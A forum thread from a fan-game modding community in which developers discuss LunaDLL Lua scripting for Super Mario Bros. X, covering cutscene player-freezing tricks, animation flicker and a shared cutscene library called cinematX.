DOCUMENTATION:
Completely agree. If you look at the help files for software like GameMaker or Unity, they usually give each function their own dedicated page breaking down how to use it, including visual aids and example code. You might not need that much detail for every function but a bit more information couldn't hurt.


INPUT/FREEZING THE PLAYER DURING CUTSCENES:
I have a somewhat hacky, roundabout idea. Perhaps when switching to cutscene mode it could store the player's powerup state, then set it to 8 or above to make them invisible and snap them to an NPC or sprite... I'm getting a major sense of deja vu here, have I suggested this before?

But, uh, yeah, stuff the player in an actor during cutscenes, give the actor the player's appearance and then swap them back out when the cutscene ends.


SPAWNING ACTORS AND OVERRIDING NPCS:
Blargh CSprite class I don't know how to phrase this bit


EDIT:
https://drive.google.com/file/d/0B-w323 ... sp=sharing
Last edited by Rockythechao on 10 Oct 2014, 23:07, edited 1 time in total.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Rockythechao wrote: INPUT/FREEZING THE PLAYER DURING CUTSCENES:
I have a somewhat hacky, roundabout idea. Perhaps when switching to cutscene mode it could store the player's powerup state, then set it to 8 or above to make them invisible and snap them to an NPC or sprite... I'm getting a major sense of deja vu here, have I suggested this before?
This seems to be the ideal way to do this. I don't know all the details of the LunaDLL functions, but would it be possible to use placeSprite for this?

Oh, and yeah, sorry for all the posts ranting and going off on a tangent. Programming in a language I've never used before with a splitting headache doesn't seem to go too well.

Hmm... still getting that flickering on my idle frame, though. Weird.
Image
Image
Image
Image

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 518
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Unless someone's typing in all caps (and in that last post I was just frantically doing it for emphasis) or using really harsh language it never comes across to me as ranting, just stern disapproval.

there was no message box system at all in the Broadsword fight, I just put those SMB3 black blocks there until I could get one to work. Though, technically I was going for letterboxing + subtitles.

I'm thinking for the hud elements we should have a function that does a bitblt() call to paint the image directly to the screen for that frame.

EDIT: The flickering you're referring to is probably due to a bug with the old animation management system, you needed a duplicate of the last frame as a buffer.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Rockythechao wrote: there was no message box system at all in the Broadsword fight, I just put those SMB3 black blocks there until I could get one to work. Though, technically I was going for letterboxing + subtitles.
Well, I've got one set up now, if you want to steal it for purposes.
Rockythechao wrote: EDIT: The flickering you're referring to is probably due to a bug with the old animation management system, you needed a duplicate of the last frame as a buffer.
Ah, that makes sense. By the way, I'm trying to implement this with the (frankly much neater) system you have set up using the lunaworld dll, but it is complaining about a lack of cinematX files. Can I get hold of those from somewhere?
Image
Image
Image
Image

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 518
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Oh, jeez, my bad! cinematX is what I decided to call the library/API, so all of the management functions are -- or at least should be -- in there. It's up on the drive now, but fair warning, it's super-broken/incomplete.

The end goal is that you only have to call cinematX.init() in onLoad() and a cinematX.update() function in onLoop() within lunadll.lua, everything else will be handled by cinematX and lunaworld.

Okay, between the files on gdrive and the old pastebin you should have everything now. I really don't want to leave you with such a broken mess but I ended up spending all day writing the responses on the talkhaus and now I have just under 12 hours to finish and submit my comp sci homework >_<
Last edited by Rockythechao on 10 Oct 2014, 23:44, edited 2 times in total.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 2 guests

cron